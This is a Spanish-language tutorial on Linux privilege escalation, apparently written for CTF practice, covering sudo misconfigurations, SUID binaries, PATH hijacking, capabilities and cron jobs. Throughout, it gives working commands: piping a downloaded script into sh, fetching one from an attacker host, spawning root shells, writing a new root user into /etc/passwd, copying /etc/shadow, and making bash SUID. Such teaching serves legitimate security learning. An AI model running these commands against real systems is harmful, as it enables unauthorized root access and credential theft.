La escalada de privilegios consiste en explotar configuraciones incorrectas o vulnerabilidades para pasar de un usuario con pocos permisos (www-data, usuario normal) a root. Es una fase crítica en cualquier intrusión real o CTF.
# Descargar y ejecutar LinPEAS desde el objetivo:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Transferir desde tu máquina atacante (servidor HTTP):
python3 -m http.server 8000
# En víctima:
wget http://TU_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
A menudo, los administradores permiten a los usuarios ejecutar ciertos comandos como root sin necesidad de contraseña para automatizar tareas. Si esos comandos tienen funciones de ejecución anidadas, podemos saltar a una shell de root.
# Ver qué puede ejecutar el usuario actual como sudo:
sudo -l
# (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit
# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# una vez dentro de less, escribe: !bash
He preparado una terminal web que simula el acceso inicial a una máquina Linux como usuario www-data. Averigua qué permisos tienes y explótalos para conseguir privilegios de root.
Los binarios con el bit SUID activo se ejecutan con los permisos de su propietario (generalmente root) sin importar quién los lance. El portal GTFOBins es tu mejor aliado aquí.
# Buscar binarios con bit SUID activado:
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/cp (Sobrescribir contraseñas):
openssl passwd -1 hackeado123
echo "hacker:HASH_GENERADO:0:0:root:/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su hacker
Si un binario SUID ejecuta comandos internamente (como ls o cat) sin usar su ruta absoluta (/bin/ls), podemos crear nuestro propio ls malicioso y alterar el PATH para que Linux lo ejecute como root.
# 1. Crear el binario falso en /tmp
echo '/bin/bash -p' > /tmp/ls
chmod +x /tmp/ls
# 2. Secuestrar el PATH colocando /tmp el primero
export PATH=/tmp:$PATH
# 3. Ejecutar el binario SUID vulnerable que llama a "ls"
./programa_vulnerable
Las Capabilities son una alternativa moderna a SUID que otorga permisos de root fragmentados (como poder abrir puertos o leer archivos concretos) a binarios específicos. Son más sigilosas e igual de peligrosas.
# Listar binarios con capabilities:
getcap -r / 2>/dev/null
# Ejemplo: Si python o tar tienen cap_dac_read_search+ep,
# pueden leer cualquier archivo del sistema como /etc/shadow sin ser root.
tar -cvf shadow.tar /etc/shadow
# Listar crons del sistema:
cat /etc/crontab
# Si un cron ejecuta un script de root que es escribible por nosotros:
echo 'chmod +s /bin/bash' >> /ruta/al/script.sh
# Esperar a que se ejecute el cron, luego:
/bin/bash -p